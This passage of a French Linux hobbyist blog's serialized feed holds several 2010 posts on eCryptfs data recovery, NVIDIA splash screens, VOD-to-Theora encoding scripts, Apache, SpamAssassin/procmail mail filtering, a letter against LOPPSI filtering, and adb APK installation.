d’automatiser tout le processus manuel qui suit.
Tout d’abord, il faut monter la partition contenant les dossiers chiffrés (ça se
fait graphiquement en cliquant sur le disque correspondant dans le menu
Raccourcis). J’utiliserai l’emplacement /media/DISK comme exemple.
Tout ce que nous allons faire à partir de maintenant nécessite d’être root,
passons donc root :
sudo -s
La signature de la clé de chiffrement des noms de fichiers sera nécessaire pour la suite :
root@ubuntu:/~# ecryptfs-add-passphrase --fnek
Passphrase: (entrer la passphrase de montage)
Inserted auth tok with sig [514d1d3af1a232cd] into the user session keyring
Inserted auth tok with sig [7890544814a5865f] into the user session keyring
C’est le code entre crochets de la dernière ligne qui est important.
On va monter le répertoire chiffré dans un répertoire qu’on va appeler
decrypted, créons-le :
root@ubuntu:/~# mkdir decrypted
Ensuite, on monte et on répond aux questions :
root@ubuntu:/~# mount -t ecryptfs /media/DISK/.ecryptfs/USER/.Private decrypted
Selection [aes]:
Selection [16]:
Enable plaintext passthrough (y/n) [n]:
Enable filename encryption (y/n) [n]: y
Filename Encryption Key (FNEK) Signature [514d1d3af1a232cd]: 7890544814a5865f
(pour la FNEK, il faut bien préciser la signature qu’on a récupéré juste au-dessus)
Si tout s’est bien passé :
Attempting to mount with the following options:
ecryptfs_unlink_sigs
ecryptfs_fnek_sig=7890544814a5865f
ecryptfs_key_bytes=16
ecryptfs_cipher=aes
ecryptfs_sig=514d1d3af1a232d
Mounted eCryptfs
Les données sont maintenant accessibles :
root@ubuntu:~# ls decrypted
Bureau examples.desktop Modèles Public Vidéos
Documents Images Musique Téléchargements
Pour démonter :
root@ubuntu:~# umount decrypted
updatedb indexe régulièrement les fichiers pour pouvoir les rechercher
rapidement avec locate. Il faut lui indiquer de ne pas indexer les répertoires
.Private afin de ne pas perdre du temps, de la place, et surtout éviter
d’obtenir des résultats insignifiants lors d’une recherche avec locate.
Pour cela, ouvrir /etc/updatedb.conf, et éditer la ligne suivante pour y
ajouter .Private (la décommenter si elle commençait par un #) :
PRUNENAMES=".git .bzr .hg .svn .Private"
Je pense qu’on a fait le tour de l’essentiel à savoir pour chiffrer son dossier personnel et pouvoir récupérer ses données. J’en ai profité pour chiffrer celui de mon ordinateur portable, tout fonctionne très bien.
Il faut cependant être conscient de deux choses.
Tout d’abord, les données personnelles ne sont pas présentes uniquement dans le
répertoire /home, elles sont copiées dans /tmp, dans la RAM, dans le SWAP
(il est également possible de chiffrer le SWAP, grâce à
ecryptfs-setup-swap), etc. Le chiffrement est donc une étape essentielle dans
la protection des données, mais il faut comprendre ce que ça protège (voir à ce
sujet le guide d’autodéfense numérique).
Ensuite, ce chiffrement est là pour protéger la vie privée, pas pour cacher quelque chose à la justice. D’une part, le code pénal prévoit une peine de 3 ans et 45000€ d’amende pour refus de fournir la convention secrète de déchiffrement (autrement dit la clé). D’autre part, pour des sujets graves, nul doute que les États mettront les moyens pour casser la clé (qui est relativement faible, car proportionnée à l’objectif à atteindre, à savoir la protection de la vie privée).
Pour utiliser le chiffrement pour des communications plutôt que pour le stockage des données, vous pouvez consulter GnuPG : chiffrer et signer sous Ubuntu pour les nuls.
Amusez-vous bien.
À l’utilisation, j’ai remarqué que cette méthode de chiffrement entraînait des problèmes de performance, notamment pour les dossiers contenant beaucoup de fichiers.
Je recommande donc plutôt LUKS+LVM.
";s:7:"dateiso";s:15:"20100516_151241";}s:15:"20100513_142653";a:7:{s:5:"title";s:70:"Splash screen Ubuntu Lucid Lynx (10.04) et pilote NVIDIA propriétaire";s:4:"link";s:97:"http://blog.rom1v.com/2010/05/splash-screen-ubuntu-lucid-lynx-10-04-et-pilote-nvidia-proprietaire";s:4:"guid";s:97:"http://blog.rom1v.com/2010/05/splash-screen-ubuntu-lucid-lynx-10-04-et-pilote-nvidia-proprietaire";s:7:"pubDate";s:25:"2010-05-13T14:26:53+02:00";s:11:"description";s:0:"";s:7:"content";s:2975:"Ubuntu utilise maintenant Plymouth pour le processus de démarrage graphique. C’est maintenant le noyau qui s’occupe de la configuration graphique à la place de Xorg : c’est plus joli, plus rapide…
Le problème, c’est que le logiciel propriétaire ne suit pas le rythme du logiciel libre. En particulier, le pilote NVIDIA propriétaire ne supporte pas encore cette fonctionnalité (alors que le pilote libre la gère correctement, mais ne supporte pas la 3D). Du coup, on se retrouve avec un splash screen très laid en basse résolution au démarrage.
Ce billet décrit comment avoir un logo à la bonne résolution (même si on n’obtiendra pas la fluidité possible actuellement avec le pilote libre). Une mise à jour sera peut-être disponible (espérons-le), avec un pilote NVIDIA propriétaire fonctionnant correctement.
Attention : ces modifications modifient votre configuration graphique, elles pourraient empêcher votre système de fonctionner correctement.
Remplacez dans les étapes suivantes 1680x1050 par la définition de votre
écran.
Tout d’abord, il faut prendre un post-it, un stylo, et écrire « ne plus acheter d’ordinateur avec une carte graphique nécessitant des pilotes propriétaires pour fonctionner ». Le coller ensuite bien en évidence pour s’en rappeler lors du prochain achat informatique.
Ensuite, installer le paquet v86d :
sudo apt-get install v86d
Puis éditer le fichier /etc/default/grub :
sudo editor /etc/default/grub
et remplacer la ligne :
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash"
par :
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash nomodeset video=uvesafb:mode_option=1680x1050-24,mtrr=3,scroll=ywrap"
et la ligne :
#GRUB_GFXMODE=640x480
par :
GRUB_GFXMODE=1680x1050
Puis exécuter les commandes suivantes :
echo 'uvesafb mode_option=1680x1050-24 mtrr=3 scroll=ywrap' |
sudo tee -a /etc/initramfs-tools/modules
echo FRAMEBUFFER=y | sudo tee /etc/initramfs-tools/conf.d/splash
sudo update-grub2
sudo update-initramfs -uIl ne reste plus qu’à redémarrer le système, le logo est maintenant joli.
Merci à softpedia pour cette astuce.
";s:7:"dateiso";s:15:"20100513_142653";}s:15:"20100424_185808";a:7:{s:5:"title";s:50:"Agréger différentes sources de VOD en OGG/Theora";s:4:"link";s:78:"http://blog.rom1v.com/2010/04/aggreger-differentes-sources-de-vod-en-oggtheora";s:4:"guid";s:78:"http://blog.rom1v.com/2010/04/aggreger-differentes-sources-de-vod-en-oggtheora";s:7:"pubDate";s:25:"2010-04-24T18:58:08+02:00";s:11:"description";s:0:"";s:7:"content";s:14310:"Pour mes flux RSS, j’utilise l’outil tt-rss installé sur mon serveur, qui récupère régulièrement tous les flux auxquels je suis abonné.
Le but de ce billet est de mettre en place un mécanisme similaire qui s’applique aux sources de vidéo à la demande (pas forcément prévues pour être agrégées), et qui les convertit dans le format ouvert OGG/Theora (dans un répertoire rendu accessible par un serveur web tel qu’Apache), tout en parallélisant au maximum les différentes actions afin que le temps total de récupération soit minimal.
En particulier, il faut éviter de télécharger la première vidéo, puis de l’encoder, d’attendre que l’encodage soit terminé pour télécharger la seconde vidéo… Et si plusieurs CPU sont disponibles sur la machine, il faut donner un encodage à chaque processeur (l’encodeur theora ne sachant pas paralléliser l’encodage d’une seule vidéo).
Pour cela, il y a donc 2 parties bien distinctes :
Le serveur d’encodage gère plusieurs processus ouvriers (dans l’idéal, il faut configurer pour avoir autant de processus que de CPU sur la machine). Il attend de nouvelles tâches, et les transmet aux ouvriers disponibles, qui s’occupent de l’encodage. Si aucun ouvrier n’est disponible, il attend qu’un se libère.
Les demandes d’encodage se font grâce à un named pipe (aussi appelé FIFO), un
fichier un peu spécial créé avec mkfifo. Chaque ligne représente une tâche.
Concrètement, une tâche est décrite par les paramètres à passer à
ffmpeg2theora (l’encodeur theora), séparés par un séparateur (j’ai choisi
|, qui a peu de chance d’être utilisé dans un nom de fichier). Pour les
puristes, je vous mets au défi d’utiliser comme séparateur \0, tout en
conservant le mécanisme de file d’attente dans un fichier.
Un démon récupère les nouvelles lignes ajoutées au fichier, et les transmet une
à une aux ouvriers. Chaque ouvrier recrée le tableau des arguments en
redécoupant la ligne suivant le séparateur choisi, et le passe en paramètre de
ffmpeg2theora (en y ajoutant toujours --nice 19 pour n’utiliser que le CPU
disponible, sans ralentir d’autres programmes en cours d’exécution).
Voici le programme démon (adapter le nombre de CPU)
(/usr/sbin/ffmpeg2theora-laterd) :
#!/bin/bash
CPU=2
TASKS=/tmp/ffmpeg2theora-tasks
[ -p "$TASKS" ] || mkfifo "$TASKS" -m 666
tail -f "$TASKS" | xargs -I{} -P "$CPU" ffmpeg2theora-later-job {}Ce script fait donc exécuter par les ouvriers le programme
ffmpeg2theora-later-job pour chacune des tâches, dont voici le code
(/usr/sbin/ffmpeg2theora-later-job) :
#!/bin/bash
IFS='|' read -a args <<< "$1"
echo "executing: ffmpeg2theora ${args[@]} --nice 19"
ffmpeg2theora "${args[@]}" --nice 19Je vous conseille de prendre la dernière version de ffmpeg2theora, actuellement celle des dépôts est assez ancienne.
Le démon est à lancer une fois (et une seule !), au démarrage du système par
exemple (une solution est de l’ajouter dans /etc/rc.local).
Les clients (les programmes qui veulent demander un encodage) doivent appeler
ffmpeg2theora-later, qui s’occupe d’écrire les paramètres séparés par | dans
le FIFO (/usr/bin/ffmpeg2theora-later) :
#!/bin/bash
printf '|%s' "$@" | cut -c2- > /tmp/ffmpeg2theora-tasksSon utilisation est extrêmement proche de ffmpeg2theora (évidemment, puisqu’il
se contente de lui transmettre ses paramètres), à ceci près que les chemins
doivent être absolus (puisque le démon ne sait pas à partir de quel répertoire
la demande d’encodage a été effectuée).
Ainsi, là où on aurait utilisé, à partir de /tmp :
ffmpeg2theora file.avi -o file.ogv -x 400 -y 300 -v 8 -a 3
on peut appeler :
ffmpeg2theora-later /tmp/file.avi -o /tmp/file.ogv -x 400 -y 300 -v 8 -a 3
Les programmes de récupération font ce qui est nécessaire pour récupérer les vidéo à télécharger. Plusieurs outils sont bien utiles pour cela :
wget si le fichier est disponible en HTTP (mais c’est rare) ;flvstreamer pour récupérer les vidéos diffusées en Flash avec des liens
en rtmp:// (anciennement rtmpdump, je vous recommande le message
adressé à Adobe de la part du développeur originel) ;mimms pour récupérer les vidéos diffusées en WMV avec des liens en
mms://.Pensez bien à ouvrir les ports nécessaires pour récupérer les vidéos (1935 par défaut pour les liens RTMP, 1755 pour MMS…).
Afin de rendre un peu indépendants les répertoires manipulés, j’ai décidé de
créer un script /usr/bin/vodget qui appelle les programmes de récupération
avec 2 paramètres :
#!/bin/bash
scripts_dir=/var/lib/vodget
script="$scripts_dir/$1"
download_dir=/tmp/vodget
target_dir=/var/www/vod
$script "$download_dir" "$target_dir"Les programmes de récupération sont stockés dans /var/lib/vodget.
Voici un exemple qui récupère les guignols de l’info (Canal+)
(/var/lib/vodget/guignols) :
#!/bin/bash
category=guignols
download_dir="$1/$category"
target_dir="$2/$category"
mkdir -p "$download_dir"
mkdir -p "$target_dir"
wget -O- http://www.canalplus.fr/rest/bootstrap.php?/bigplayer/search/guignols | grep -o 'rtmp://[^<]\+.mp4' | while read url
do
filename="$(echo "$url" | sed 's/.*\([0-9]\{2\}\)\([0-9]\{2\}\)\([0-9]\{2\}\).*/20\1-\2-\3/')"
if [ ! -f "$target_dir/$filename.ogv" ]
then
flvstreamer -r "$url" -o "$download_dir/$filename.mp4"
touch "$target_dir/$filename.ogv"
ffmpeg2theora-later "$download_dir/$filename.mp4" -o "$target_dir/$filename.ogv" -v8 -a3
fi
doneCet exemple est une implémentation qui a l’avantage d’être très courte, vous
pouvez aussi adapter des versions plus évoluées pour qu’elles
utilisent ffmpeg2theora-later.
Un simple appel à :
vodget guignols
récupèrera les nouveaux épisodes et les encodera en OGG/Theora.
Il ne restera plus qu’à se rendre sur la page HTTP pointant sur le répertoire des vidéos avec un navigateur qui supporte le HTML5 et le codec OGG/Theora, pour pouvoir regarder les vidéos ainsi récupérées :

Bien sûr, les vidéos récupérées qui ne sont pas sous licence libre sont à usage personnel. Cela permet de regarder en VOD les épisodes dans un format ouvert, qui ne nécessite pas de programme propriétaire, ces vidéos ne doivent pas être placées sur un serveur public.
Pour automatiser tout cela, il est possible de programmer périodiquement la récupération des nouvelles vidéos grâce à cron. Pour cela :
crontab -e
et ajouter la ligne qui-va-bien. Par exemple, pour récupérer les nouveaux épisodes des guignols tous les jours à 23 heures :
00 23 * * * vodget guignols
Techniquement, il faudrait gérer le démon par un script init.d, mais ça n’est pas si simple (si on arrête le service alors qu’une vidéo est en cours d’encodage et qu’on le redémarre, le nombre de CPU à utiliser ne sera plus respecté…).
Si vous êtes motivés, il est également possible de faire un beau site qui permette de regarder les vidéos en VOD, plutôt qu’une page qui liste simplement les fichiers récupérés.
Les différentes vidéos que je suis susceptible de regarder en VOD (que je ne regardais pas avant) sont maintenant disponibles sur mon serveur, lisible directement par mon navigateur.
On peut imaginer de nombreuses sources à aggréger :
Bien sûr, on aimerait mieux que les différentes sources fournissent des flux RSS pointant vers leurs vidéos, qu’ils diffuseraient eux-même en OGG/Theora. Mais on peut toujours attendre…
";s:7:"dateiso";s:15:"20100424_185808";}s:15:"20100329_213229";a:7:{s:5:"title";s:27:"Partager n'est pas voler !";s:4:"link";s:53:"http://blog.rom1v.com/2010/03/partager-nest-pas-voler";s:4:"guid";s:53:"http://blog.rom1v.com/2010/03/partager-nest-pas-voler";s:7:"pubDate";s:25:"2010-03-29T21:32:29+02:00";s:11:"description";s:0:"";s:7:"content";s:1682:"Il y a tout juste un an, durant les débats sur Hadopi, la Quadrature du Net publiait un article Partager n’est pas voler ! (chronique d’un mensonge historique).

Le mois dernier, Jérémie Zimmermann, invité sur la RSR (Radio Suisse Romande), y expliquait pourquoi fondamentalement, et au-delà de son applicabilité, la « chasse aux pirates » est insensée. Après le #fail d’Hadopi, cette guerre au partage est plus que jamais d’actualité avec les négociations d’ACTA.
Vous pouvez écouter cette intervention de 15 minutes :
Pour ceux qui ne peuvent pas lire la piste audio directement, elle est disponible sur le mediakit de la Quadrature.
Ce billet est également l’occasion pour moi d’utiliser pour la première fois la
balise <audio> d’HTML5. Malheureusement, pour l’instant, il est impossible
d’avoir une page valide car Wordpress écrit du XHTML 1.1 et cette
fonctionnalité nécessite HTML5. Ça fonctionne quand même…
EDIT 20/05/2011 : À voir également le documentaire Copier n’est pas voler.
";s:7:"dateiso";s:15:"20100329_213229";}s:15:"20100327_224352";a:7:{s:5:"title";s:62:"Vidéo OGG Theora sur HTTPS (dans Firefox) : configurer Apache";s:4:"link";s:87:"http://blog.rom1v.com/2010/03/video-ogg-theora-sur-https-dans-firefox-configurer-apache";s:4:"guid";s:87:"http://blog.rom1v.com/2010/03/video-ogg-theora-sur-https-dans-firefox-configurer-apache";s:7:"pubDate";s:25:"2010-03-27T22:43:52+01:00";s:11:"description";s:0:"";s:7:"content";s:2675:"Tout le monde a entendu parler de la balise <video/>, la nouveauté la plus
médiatisée d’HTML5. Le format vidéo à utiliser sur le web fait polémique
(Theora ou H264) à cause de brevets logiciels, toujours bien
présents dès il s’agit de freiner l’innovation. Une situation qu’à mon avis
seul Google peut résoudre. Mais ce n’est pas l’objet de ce billet,
pour l’instant, le format, c’est OGG Theora. Il suffit de placer un fichier
ogv quelque part sur un serveur, et Firefox sait la lire.
Un problème survient cependant dès qu’on veut y accéder sur HTTPS plutôt qu’HTTP : on ne peut pas seeker dans la vidéo (c’est-à-dire qu’on ne peut pas déplacer le curseur pour se positionner à n’importe quel endroit), et on ne connaît pas sa durée totale.
Quelle différence entre l’accès en HTTP et HTTPS ?
En HTTP, on reçoit la taille du fichier vidéo :
$ curl --compressed -I http://.../video.ogv
HTTP/1.1 200 OK
Server: Apache
…
Content-Length: 26959501
Content-Type: video/ogg
En HTTPS, on ne la reçoit pas, car le flux est compressé en gzip.
$ curl --compressed -k -I https://.../video.ogv
HTTP/1.1 200 OK
Server: Apache
…
Content-Encoding: gzip
Content-Type: video/ogg
(-k permet d’autoriser l’utilisation d’un certificat SSL non reconnu)
C’est la source du problème. Pourquoi ce comportement différent par défaut entre HTTP et HTTPS? Je n’en sais rien (si quelqu’un peut m’éclairer…).
Par contre, il est très facile de désactiver la compression pour certains types de fichiers, comme les images ou les vidéos (compression qui n’a de toute façon aucun intérêt, ces fichiers sont déjà compressés).
Pour cela, il suffit de rajouter une ligne dans
/etc/apache2/mods-available/deflate.conf :
SetEnvIfNoCase Request_URI \.(?:gif|jpe?g|png|ogg|oga|ogv)$ no-gzip dont-varyet de recharger Apache :
sudo service apache reload
Et maintenant, ça fonctionne correctement sur HTTPS :
$ curl --compressed -k -I https://.../video.ogv
HTTP/1.1 200 OK
Server: Apache
…
Content-Length: 26959501
Content-Type: video/ogg
";s:7:"dateiso";s:15:"20100327_224352";}s:15:"20100325_222554";a:7:{s:5:"title";s:52:"Filtrer les spams sur un serveur mail (SpamAssassin)";s:4:"link";s:80:"http://blog.rom1v.com/2010/03/filtrer-les-spams-sur-un-serveur-mail-spamassassin";s:4:"guid";s:80:"http://blog.rom1v.com/2010/03/filtrer-les-spams-sur-un-serveur-mail-spamassassin";s:7:"pubDate";s:25:"2010-03-25T22:25:54+01:00";s:11:"description";s:0:"";s:7:"content";s:4909:"Pour continuer ma série d’articles sur l’auto-hébergement de ses mails, je vais présenter l’installation de SpamAssassin.
Pour mon serveur mail (et plus généralement pour les outils que j’utilise), j’essaie de mettre en place uniquement ce dont j’ai besoin. Et jusqu’ici, je n’avais pas l’utilité d’un anti-spams, ne recevant aucun courrier indésirable. Mais depuis peu, j’en reçois un de temps en temps… C’est donc l’occasion de m’y mettre.
Il existe plusieurs méthodes, j’ai choisi la plus simple : c’est procmail qui fournit les mails à SpamAssassin.
Il faut tout d’abord installer et configurer procmail, puis
installer le paquet spamassassin :
sudo apt-get install spamassassin
Ensuite, rajouter dans ~/.procmailrc la règle suivante (copiée de doc) :
# Pipe the mail through spamassassin (replace 'spamassassin' with 'spamc'
# if you use the spamc/spamd combination)
#
# The condition line ensures that only messages smaller than 250 kB
# (250 * 1024 = 256000 bytes) are processed by SpamAssassin. Most spam
# isn't bigger than a few k and working with big messages can bring
# SpamAssassin to its knees.
#
# The lock file ensures that only 1 spamassassin invocation happens
# at 1 time, to keep the load down.
#
:0fw: spamassassin.lock
* < 256000
| spamassassin
Enfin, éditer /etc/spamassassin/local.cf.
Pour uniquement ajouter les en-têtes de spam (ce qui est suffisant pour
filtrer), il faut changer la valeur de report_safe :
report_safe 0
Pour ajouter un tag dans le sujet d’un mail considéré comme un spam :
rewrite_header Subject *****SPAM*****
Il est également possible de configurer le score requis pour qu’un mail soit considéré comme un spam. Plus cette valeur est faible, plus le filtre est agressif. La valeur par défaut (5.0) est un peu faible, je vous conseille d’augmenter un peu si vous voulez limiter les faux-positifs :
required_score 6.0
Rajouter éventuellement les lignes suivantes :
# Langues attendues (les autres auront un score plus élevé)
ok_languages fr
# Rapports en français
lang fr
Pour ajouter un expéditeur en liste blanche, rajouter :
whitelist_from any@mail.com
Pour tester, le plus simple est de mettre un filtre très sévère, par exemple avec un score négatif :
required_score -2
En m’envoyant un mail à moi-même qui contient comme sujet test, je constate à la réception que les en-têtes ont été modifiés :
Subject: *****SPAM***** test
Date: Thu, 25 Mar 2010 21:19:52 +0100
Message-Id: <1269548392.9798.9.camel@rom-laptop>
X-Spam-Flag: YES
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on rom-eeebox
X-Spam-Level: ***
X-Spam-Status: Yes, score=3.9 required=-2.0 tests=ALL_TRUSTED,
Le mail a bien été détecté comme un spam. Ça fonctionne.
Maintenant que les spams sont détectés, il faut les traiter (les déplacer dans un dossier prévu à cet effet).
Il suffit pour cela de créer un dossier sur le serveur :
maildirmake.dovecot ~/Maildir/.Spams
et d’ajouter la règle suivante dans ~/.procmailrc (plus d’infos) :
:0
* ^X-Spam-Status: Yes
.Spams/
Les spams auront maintenant un peu plus de mal à se glisser dans ma boîte mail.
La configuration présentée ici est vraiment minimale. Selon son efficacité il faudra peut-être l’affiner.
Mes précédents billets sur l’auto-hébergement des mails :
Mesdames et messieurs les députés,
Le projet LOPPSI a été planifié les 9, 10 et 11 février à l’Assemblée Nationale.
Je n’ai pas lu tout le projet de loi (n’étant pas compétent sur le contenu de tous les articles), mais j’ai lu avec attention ceux concernant Internet (2, 3, 4 et 23), que j’avais analysés l’année dernière : loppsi.pdf.
Je souhaiterais en particulier attirer votre attention sur le dispositif principal (l’article 4) qui prétend “protéger les internautes contre les images de pornographie enfantine”. Pour résumer mon analyse, j’en dénonce les fondements, la mise en œuvre, l’efficacité et les dangers. Je formule également des propositions pour répondre au problème posé.
Les fondements : pour combattre la pédopornographie, il faut attaquer “à la source”, à savoir ordonner le retrait des contenus et arrêter les individus qui les créent. Ce texte fait le contraire : il propose de ne pas avoir à s’embêter à arrêter les criminels et fait en sorte de pouvoir les ignorer tranquillement.
La mise en œuvre : elle porte clairement atteinte à la neutralité du net, car le filtrage serait effectué en cœur de réseau. Elle tente d’aller à l’encontre de la structure même d’Internet, et provoquera à coup sûr des sur-blocages.
L’efficacité : toutes les technologies de filtrage sont inefficaces et facilement contournables.
Les dangers : la possibilité pour le ministère de l’intérieur d’ordonner le filtrage d’une liste gardée secrète de sites est, en soi, très contestable. Cela mènera inévitablement à des dérives, comme on peut le constater dans les pays ayant mis en place un tel dispositif.
Cet article de loi présente un objectif peu pertinent (bloquer l’accès à ceux qui tomberaient sur des contenus criminels “par hasard”) plutôt que de s’attaquer au problème réel de la pédopornographie, mais en plus il y répond de manière inappropriée.
Pour contrer les réseaux de pédopornographie, il faudrait mettre plus de moyens pour remonter aux sources et arrêter les personnes concernées. Il faudrait également ordonner le retrait des images sur les serveurs, beaucoup plus efficace que le filtrage, et sans risque de sur-blocage, ce qui fonctionne très bien contrairement à ce qui est sous-entendu dans le projet de loi (voir la conclusion de mon analyse détaillée).
En plus de ces réelles mesures, on peut bien sûr envisager, en complément, de “protéger” les quelques internautes qui tomberaient malencontreusement sur des images douteuses. Pour cela, il existe une solution très simple, concrète et respectueuse des libertés : proposer aux utilisateurs un logiciel de type “contrôle parental” qui bloquerait ces contenus. Pour des non-spécialistes, la différence avec le filtrage proposé peut paraître subtile, elle est pourtant FONDAMENTALE : l’utilisateur a le contrôle sur ce qui est bloqué, les risques de sur-blocage et de dérives démocratiques sont évités, la neutralité du réseau n’est pas attaquée et l’objectif est parfaitement atteint.
N’hésitez pas à consulter également l’analyse que je fais des articles 2, 3 et 23, que je ne résume pas dans cette lettre.
En tant que citoyen, je vous invite à prendre en compte ces arguments. Si vous y adhérez, je vous propose de formuler des amendements pour les défendre. Si vous avez des doutes ou souhaitez des précisions, n’hésitez pas à me contacter. Si vous êtes en désaccord, merci de m’en indiquer les raisons.
J’espère que vous écouterez l’ensemble des personnes qui s’expriment sur le sujet (qui n’ont pas forcément le même avis que moi) afin d’agir dans l’intérêt général.
Cordialement,
EDIT : À lire également : LOPPSI : la censure d’État bientôt adoptée en France.
";s:7:"dateiso";s:15:"20100119_223123";}s:15:"20100110_111234";a:7:{s:5:"title";s:60:"Installer une application .apk sur Android à partir d'un PC";s:4:"link";s:87:"http://blog.rom1v.com/2010/01/installer-une-application-apk-sur-android-a-partir-dun-pc";s:4:"guid";s:87:"http://blog.rom1v.com/2010/01/installer-une-application-apk-sur-android-a-partir-dun-pc";s:7:"pubDate";s:25:"2010-01-10T11:12:34+01:00";s:11:"description";s:0:"";s:7:"content";s:3822:"J’expliquais, lors de mes premières impressions d’Android 2 sur le Motorola
Milestone, qu’il était impossible d’installer un fichier .apk sans
accepter les conditions d’utilisation du market ni configurer un compte
gmail.
C’est en fait possible, grâce à l’outil adb du SDK Android, à partir la
connexion USB de l’ordinateur.
Pour que l’outil d’installation puisse fonctionner, il faut activer l’option Paramètres > Applications > Développement > Débogage USB sur le téléphone.
Il faut télécharger Android SDK, malheureusement non libre.
Sous GNU/Linux (plus précisément Ubuntu 9.10, adaptez selon votre distribution), voici comment l’installer et permettre la reconnaissance du Motorola Milestone (plus d’infos ici) :
sudo tar xzf android-sdk_r07-linux_x86.tgz -C /opt
sudo ln -s /opt/android-sdk-linux_x86/tools/adb /usr/local/bin
echo 'SUBSYSTEM=="usb", SYSFS{idVendor}=="22b8", MODE="0666"' |
sudo tee /etc/udev/rules.d/51-android.rules
sudo service udev reload
Si vous utilisez un système 64 bits, vous aurez besoin également besoin de
ia32-libs :
sudo apt-get install ia32-libs
Vous pouvez maintenant brancher votre téléphone sur le PC en USB. Pour vérifier que tout fonctionne :
$ adb devices
List of devices attached
040140621600C00D device
Pour installer une application à partir de l’ordinateur, rien de plus simple :
$ adb install -r ConnectBot-svn-r466-all.apk
2343 KB/s (642578 bytes in 0.267s)
pkg: /data/local/tmp/ConnectBot-svn-r466-all.apk
Success
(-r permet d’écraser si l’application est déjà installée)
Vous pouvez ensuite ajouter la possibilité d’installer les .apk graphiquement
à partir de votre gestionnaire de fichiers. Si vous utilisez nautilus, vous
pouvez jouer avec nautilus-actions:

Voici la commande de mon action nautilus (j’ouvre un xterm pour avoir le résultat de l’installation, si vous avez mieux, n’hésitez pas) :
xterm -T adb -e 'cd "%d" && /usr/local/bin/adb install -r "%f"; sleep 5'
J’ai réinitialisé mon téléphone, il n’a plus de compte gmail associé et je n’ai pas accepté les conditions du market, ce qui ne m’empêche donc plus d’installer les applications dont j’ai besoin.
Même pour ceux qui veulent garder leur compte ou utiliser le market, c’est
quand même plus rapide d’installer un .apk grâce à un clic-droit,
“installer” à partir du gestionnaire de fichiers plutôt que de copier le
.apk sur la carte SD, débrancher le câble USB, aller dans une appli qui va
chercher le fichier et cliquer sur “installer”.
Dans la continuité des articles consacrés à l’auto-hébergement des mails, je vais présenter quelque chose que je voulais mettre en place depuis un moment : le tri du courrier directement sur le serveur.
Lorsqu’on est abonné à des mailing-lists ou qu’on reçoit des notifications de forums ou de blogs, il est inconcevable de garder tous ses mails dans un seul et même dossier, et impensable de les déplacer manuellement (à moins de passer 30 minutes par jour à les trier). Un tri doit être mis en place automatiquement, en se basant sur les en-têtes des mails reçus.
J’utilisais jusqu’à maintenant les filtres de messages de mon client mail, Evolution, mais ça n’était pas forcément approprié :
C’est donc au serveur de placer les mails dans le bon dossier dès la réception. C’est ce que procmail permet de faire.
Les dossiers IMAP sont des dossiers physiques contenus dans ~/Maildir (le
répertoire des mails) qui respectent une structure particulière :
. (ce sont des dossiers cachés) et les sous-dossiers
“logiques” sont séparés par des . (par exemple, si je veux un dossier a
contenant un sous-dossier b, le répertoire physique sera
~/Maildir/.a.b) ;cur, new et tmp.Pour les créer, il suffit d’utiliser maildirmake ou maildirmake.dovecot, à
partir du répertoire ~/Maildir :
maildirmake.dovecot .forums.ubuntu-fr
maildirmake.dovecot .forums.developpez
pour obtenir l’arborescence suivante :
|-- .forums.developpez
| |-- cur
| |-- new
| `-- tmp
`-- .forums.ubuntu-fr
|-- cur
|-- new
`-- tmp
Il est également possible de les créer graphiquement grâce à un client mail.
Il faut indiquer à postfix que procmail va s’occuper de trier les mails,
en lui précisant dans /etc/postfix/main.cf :
mailbox_command = /usr/bin/procmail
Il faudra ensuite recharger la configuration :
sudo /etc/init.d/postfix reload
Tout se passe dans le fichier (à créer) ~/.procmailrc, qui contient deux
parties : la définition des variables et la définition des “recettes” (les
règles de tri).
Pour les variables, copiez simplement ceci (en décommentant les 2 premières lignes si vous voulez des logs).
#VERBOSE=yes
#LOGFILE=.procmail.log
SHELL=/bin/sh
PATH=/bin:/usr/bin:/usr/local/bin
MAILDIR=Maildir/
DEFAULT=./
Les recettes sont écrites sous la forme suivante :
:0 [drapeaux] [ : [verrou_local] ]
<zéro ou plusieurs conditions (une par ligne)>
<exactement une ligne d'action>
Les conditions commencent toutes par *, suivie d’une expression régulière.
Pour qu’une recette exécute l’action définie, il faut que le mail en question
valide toutes les conditions.
Pour faire simple, nous allons simplement créer des règles qui déplacent des
mails dans des dossiers. Pour définir une telle action, il suffit d’écrire le
nom du dossier, en terminant la ligne par / (très important, cette convention
indique à procmail que le dossier est au format maildir).
Un exemple étant plus parlant, voici une règle qui déplace toutes mes
notifications de blog dans un dossier blog :
:0
* ^From: .*<wordpress@blog\.rom1v\.com>$
.blog/
Cet autre exemple permet d’envoyer une copie des mails validant les conditions à des adresses e-mails spécifiées (je m’en sers pour transférer les messages vocaux de mon répondeur téléphonique sur plusieurs adresses) :
:0c
* ^From: telephonie\.freebox@freetelecom\.com$
! autre@email.com
Au final, voici un extrait de mon fichier ~/.procmailrc (je n’ai pas mis
toutes les règles, c’est juste pour donner quelques exemples) :
#VERBOSE=yes
#LOGFILE=.procmail.log
SHELL=/bin/sh
PATH=/bin:/usr/bin:/usr/local/bin
MAILDIR=Maildir/
DEFAULT=./
:0
* ^From: .*<wordpress@blog\.rom1v\.com>$
.blog/
:0
* ^Reply-To: .*<[0-9]+@bugs\.launchpad\.net>$
.bugs.launchpad/
:0
* ^From: .*<dev\.null@ubuntu-fr\.org>$
.forums.ubuntu-fr/
:0
* ^List-Id: <april\.april\.org>$
.ml.april/
";s:7:"dateiso";s:15:"20100106_174318";}s:15:"20100103_181011";a:7:{s:5:"title";s:61:"Motorola Milestone avec Android 2, mes premières impressions";s:4:"link";s:89:"http://blog.rom1v.com/2010/01/motorola-milestone-avec-android-2-mes-premieres-impressions";s:4:"guid";s:89:"http://blog.rom1v.com/2010/01/motorola-milestone-avec-android-2-mes-premieres-impressions";s:7:"pubDate";s:25:"2010-01-03T18:10:11+01:00";s:11:"description";s:0:"";s:7:"content";s:13424:"Je viens de recevoir mon nouveau téléphone, un Motorola Milestone, avec le système d’exploitation Android 2, que j’ai pris avec un abonnement SFR Illymythics 3G+ Full Internet. Ma ligne n’étant pas encore activée, je me suis connecté en WiFi sur mon routeur.
Voici mes premières impressions de libriste. Comme vous allez le voir, il y a du positif… et du négatif. Je vais commencer par l’achat et l’accès Internet, pour ensuite entrer dans le vif du sujet : le matériel et le logiciel.
